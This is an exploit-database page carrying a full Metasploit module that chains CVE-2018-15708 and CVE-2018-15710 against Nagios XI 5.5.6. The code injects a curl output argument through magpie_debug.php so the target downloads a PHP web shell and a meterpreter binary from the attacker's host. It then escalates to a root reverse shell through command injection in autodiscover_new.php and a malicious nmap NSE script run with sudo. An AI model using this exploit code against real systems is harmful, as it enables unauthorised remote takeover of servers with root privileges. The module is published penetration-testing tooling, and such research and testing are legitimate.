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"Nagios XI 5.5.6 - Magpie_debug.php Root Remote Code Execution (Metasploit)"

Author

Exploit author

Metasploit

Platform

Exploit platform

linux

Release date

Exploit published date

2019-06-26

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => "Nagios XI Magpie_debug.php Root Remote Code Execution",
      'Description'    => %q{
         This module exploits two vulnerabilities in Nagios XI 5.5.6:
         CVE-2018-15708 which allows for unauthenticated remote code execution
         and CVE 2018–15710 which allows for local privilege escalation.
         When combined, these two vulnerabilities give us a root reverse shell.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Chris Lyne (@lynerc)', # First working exploit
          'Guillaume AndrΓ© (@yaumn_)' # Metasploit module
        ],
      'References'     =>
        [
          ['CVE', '2018-15708'],
          ['CVE', '2018-15710'],
          ['EDB', '46221'],
          ['URL', 'https://medium.com/tenable-techblog/rooting-nagios-via-outdated-libraries-bb79427172'],
          ['URL', 'https://www.tenable.com/security/research/tra-2018-37']
        ],
      'Platform'       => 'linux',
      'Arch'           => [ARCH_X86, ARCH_X64],
      'Targets'        =>
        [
          ['Nagios XI 5.5.6', version: Gem::Version.new('5.5.6')]
        ],
      'DefaultOptions' =>
        {
          'RPORT' => 443,
          'SSL' => true
        },
      'Privileged'     => false,
      'DisclosureDate' => "2018-11-14",
      'DefaultTarget'  => 0
     ))

    register_options(
      [
        OptString.new('RSRVHOST', [true, 'A public IP at which your host can be reached (e.g. your router IP)']),
        OptString.new('RSRVPORT', [true, 'The port that will forward to the local HTTPS server', 8080]),
        OptInt.new('HTTPDELAY', [false, 'Number of seconds the web server will wait before termination', 5])
      ])

    @WRITABLE_PATHS = [
      ['/usr/local/nagvis/share', '/nagvis'],
      ['/var/www/html/nagiosql',  '/nagiosql']
    ]
    @writable_path_index = 0
    @MAGPIERSS_PATH = '/nagiosxi/includes/dashlets/rss_dashlet/magpierss/scripts/magpie_debug.php'
    @session_opened = false
    @webshell_name = "#{Rex::Text.rand_text_alpha(10)}.php"
    @nse_name = "#{Rex::Text.rand_text_alpha(10)}.nse"
    @meterpreter_name = Rex::Text.rand_text_alpha(10)
  end

  def on_request_uri(cli, req)
    if @current_payload == @webshell_name
      send_response(cli, '<?php system($_GET[\'cmd\'])?>')
    else
      send_response(cli, generate_payload_exe)
    end
  end

  def primer
    res = send_request_cgi(
      {
        'method'  => 'GET',
        'uri'     => normalize_uri(@MAGPIERSS_PATH),
        'vars_get' => {
          'url' => "https://#{datastore['RSRVHOST']}:#{datastore['RSRVPORT']}#{get_resource} " +
          '-o ' + @WRITABLE_PATHS[@writable_path_index][0] + "/#{@current_payload}"
        }
      }, 5)

    if !res || res.code != 200
      print_error('Couldn\'t send malicious request to target.')
    end
 end

  def check_upload
    res = send_request_cgi(
      {
        'method' => 'GET',
        'uri'    => normalize_uri("#{@WRITABLE_PATHS[@writable_path_index][1]}/#{@current_payload}")
      }, 5)
    if res && res.code == 200
      print_status("#{@current_payload} uploaded with success!")
      return true
    else
      print_error("Couldn't upload #{@current_payload}.")
      return false
    end
  end

  def check
    res = send_request_cgi(
      {
        'method'  => 'GET',
        'uri'     => normalize_uri(@MAGPIERSS_PATH)
      }, 5)

    if res && res.code == 200
      return Exploit::CheckCode::Appears
    else
      return Exploit::CheckCode::Safe
    end
  end

  def exploit
    all_files_uploaded = false

    # Upload useful files on the target
    for i in 0..@WRITABLE_PATHS.size
      @writable_path_index = i
      for filename in [@webshell_name, @meterpreter_name]
        @current_payload = filename
        begin
          Timeout.timeout(datastore['HTTPDELAY']) { super }
        rescue Timeout::Error
          if !check_upload
            break
          elsif filename == @meterpreter_name
            all_files_uploaded = true
          end
        end
      end
      if all_files_uploaded
        break
      end
    end

    meterpreter_path = "#{@WRITABLE_PATHS[@writable_path_index][0]}/#{@meterpreter_name}"

    register_file_for_cleanup(
      "#{@WRITABLE_PATHS[@writable_path_index][0]}/#{@webshell_name}",
      meterpreter_path,
      "/var/tmp/#{@nse_name}"
    )

    # Commands to escalate privileges, some will work and others won't
    # depending on the Nagios version
    cmds = [
      "chmod +x #{meterpreter_path} && sudo php /usr/local/nagiosxi/html/includes/" \
      "components/autodiscovery/scripts/autodiscover_new.php --addresses=\'127.0.0.1/1`#{meterpreter_path}`\'",
      "echo 'os.execute(\"#{meterpreter_path}\")' > /var/tmp/#{@nse_name} " \
      "&& sudo nmap --script /var/tmp/#{@nse_name}"
   ]

    # Try to launch root shell
    for cmd in cmds
      res = send_request_cgi(
        {
          'uri'     => normalize_uri("#{@WRITABLE_PATHS[@writable_path_index][1]}/#{@webshell_name}"),
          'method'  => 'GET',
          'vars_get' => {
            'cmd' => cmd
          }
        }, 5)

      if !res && session_created?
        break
      end
      print_status('Couldn\'t get remote root shell, trying another method')
    end
  end
end
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import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/47039/?format=json')

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